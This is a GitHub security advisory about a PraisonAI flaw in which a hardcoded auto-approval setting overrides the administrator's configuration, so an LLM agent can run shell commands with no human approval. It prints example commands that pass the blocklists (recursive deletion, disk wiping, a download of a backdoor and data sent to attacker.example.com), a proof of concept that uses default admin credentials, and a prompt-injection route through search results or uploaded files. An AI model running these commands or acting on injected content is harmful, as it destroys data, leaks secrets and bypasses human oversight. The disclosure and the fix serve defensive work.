GitHub Advisoryadvisory · PyPI
GHSA-qwgj-rrpj-75xm PraisonAI: Hardcoded `approval_mode="auto"` in Chainlit UI Overrides Administrator Configuration, Enabling Unapproved Shell Command Execution
HIGH
Official page ↗
- Ecosystem
- PyPI
- Packages
- PraisonAI
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-863
- Reviewed
- 2026-04-10
Affected packages
• PyPI PraisonAI: < 4.5.128 → fixed in 4.5.128
Description
Summary
The Chainlit UI modules (`chat.py` and `code.py`) hardcode `config.approval_mode = "auto"` after loading administrator configuration from the `PRAISON_APPROVAL_MODE` environment variable, silently overriding any "manual" or "scoped" approval setting. This defeats the human-in-the-loop approval gate for all ACP tool executions, including shell command execution via `subprocess.run(..., shell=True)`. An authenticated user can instruct the LLM agent to execute arbitrary single-command shell operations on the server without any approval prompt.
Details
The application has a well-designed approval framework supporting `auto`, `manual`, and `scoped` modes, configured via the `PRAISON_APPROVAL_MODE` environment variable and loaded by `ToolConfig.from_env()` at `interactive_tools.py:81-106`.
However, both UI modules unconditionally override this after loading:
`chat.py:156-159`:
```python
config = ToolConfig.from_env() # reads PRAISON_APPROVAL_MODE=manual
config.workspace = os.getcwd()
config.approval_mode = "auto" # hardcoded override, ignoring admin config
```
`code.py:155-158`:
```python
config = ToolConfig.from_env()
config.workspace = os.environ.get("PRAISONAI_CODE_REPO_PATH", os.getcwd())
config.approval_mode = "auto" # same hardcoded override
```
This flows to `agent_tools.py:347-348` in the `acp_execute_command` function:
```python
auto_approve = runtime.config.approval_mode == "auto" # always True
approved = await orchestrator.approve_plan(plan, auto=auto_approve)
```
The plan is auto-approved without user confirmation and reaches `action_orchestrator.py:458`:
```python
result = subprocess.run(
step.target,
shell=True, # shell execution
capture_output=True,
text=True,
cwd=str(workspace),
timeout=30
)
```
Command sanitization is insufficient. Two blocklists exist:
1. `_sanitize_command()` at `agent_tools.py:60-86` blocks: `$(`, `` ` ``, `&&`, `||`, `>>`, `>`, `|`, `;`, `&`, `\n`, `\r`
2. `_apply_step()` at `action_orchestrator.py:449` blocks: `;`, `&`, `|`, `$`, `` ` ``
Both only target command chaining/substitution operators. Single-argument destructive commands pass both blocklists: `rm -rf /home`, `curl http://attacker.example.com/exfil`, `wget`, `chmod 777 /etc/shadow`, `python3 -c "import os; os.unlink('/important')"`, `dd if=/dev/zero of=/dev/sda`.
PoC
Prerequisites: PraisonAI UI running (`praisonai ui chat` or `praisonai ui code`). Default credentials not changed.
```bash
Step 1: Start the Chainlit UI
praisonai ui chat
Step 2: Log in with default credentials at http://localhost:8000
Username: admin
Password: admin
Step 3: Send a chat message requesting command execution:
"Please run this command for me: cat /etc/passwd"
The LLM agent calls acp_execute_command("cat /etc/passwd")
_sanitize_command passes (no blocked patterns)
approval_mode="auto" → auto-approved at agent_tools.py:347-348
subprocess.run("cat /etc/passwd", shell=True) executes at action_orchestrator.py:458
Contents of /etc/passwd returned in chat
Step 4: Demonstrate the override of admin configuration:
Even with PRAISON_APPROVAL_MODE=manual set in the environment,
chat.py:159 overwrites it to "auto"
export PRAISON_APPROVAL_MODE=manual
praisonai ui chat
Commands still auto-approve because of the hardcoded override
```
Commands that bypass sanitization blocklists:
• `rm -rf /home/user/documents` — no blocked characters
• `chmod 777 /etc/shadow` — no blocked characters
• `curl http://attacker.example.com/exfil` — no blocked characters
• `wget http://attacker.example.com/backdoor -O /tmp/backdoor` — no blocked characters
• `python3 -c "__import__('os').unlink('/important/file')"` — no blocked characters
Impact
• Arbitrary command execution: An authenticated user (or attacker with default `admin/admin` credentials) can execute any single shell command on the server hosting PraisonAI, subject only to the OS-level permissions of the PraisonAI process.
• Confidentiality breach: Read arbitrary files accessible to the process (`/etc/passwd`, application secrets, environment variables containing API keys).
• Integrity compromise: Modify or delete files, install backdoors, tamper with application code.
• Availability impact: Kill processes, consume disk/memory, delete critical data.
• Administrator control undermined: Even administrators who explicitly set `PRAISON_APPROVAL_MODE=manual` to require human approval have their configuration silently overridden, creating a false sense of security.
• Prompt injection vector: Since the agent also processes external content (web search results via Tavily, uploaded files), malicious content could trigger command execution through the auto-approved tool without direct user intent.
Recommended Fix
Remove the hardcoded override and respect the administrator's configured approval mode. In both `chat.py` and `code.py`:
```python
Before (chat.py:156-159):
config = ToolConfig.from_env()
config.workspace = os.getcwd()
config.approval_mode = "auto" # Trust mode - auto-approve all tool executions
After:
config = ToolConfig.from_env()
config.workspace = os.getcwd()
Respect PRAISON_APPROVAL_MODE from environment; defaults to "auto" in ToolConfig
Administrators can set PRAISON_APPROVAL_MODE=manual for human-in-the-loop approval
```
Additionally, strengthen `_sanitize_command()` to use an allowlist approach rather than a blocklist:
```python
import shlex
ALLOWED_COMMANDS = {"ls", "cat", "head", "tail", "grep", "find", "echo", "pwd", "wc", "sort", "uniq", "diff", "git", "python", "pip", "node", "npm"}
def _sanitize_command(command: str) -> str:
# Existing blocklist checks...
# Additionally, check the base command against allowlist
try:
parts = shlex.split(command)
except ValueError:
raise ValueError(f"Could not parse command: {command!r}")
base_cmd = os.path.basename(parts[0]) if parts else ""
if base_cmd not in ALLOWED_COMMANDS:
raise ValueError(
f"Command {base_cmd!r} is not in the allowed command list. "
f"Allowed: {', '.join(sorted(ALLOWED_COMMANDS))}"
)
return command
```
Related
Weakness · CWE (1)
- CWE-863 Incorrect Authorization weakness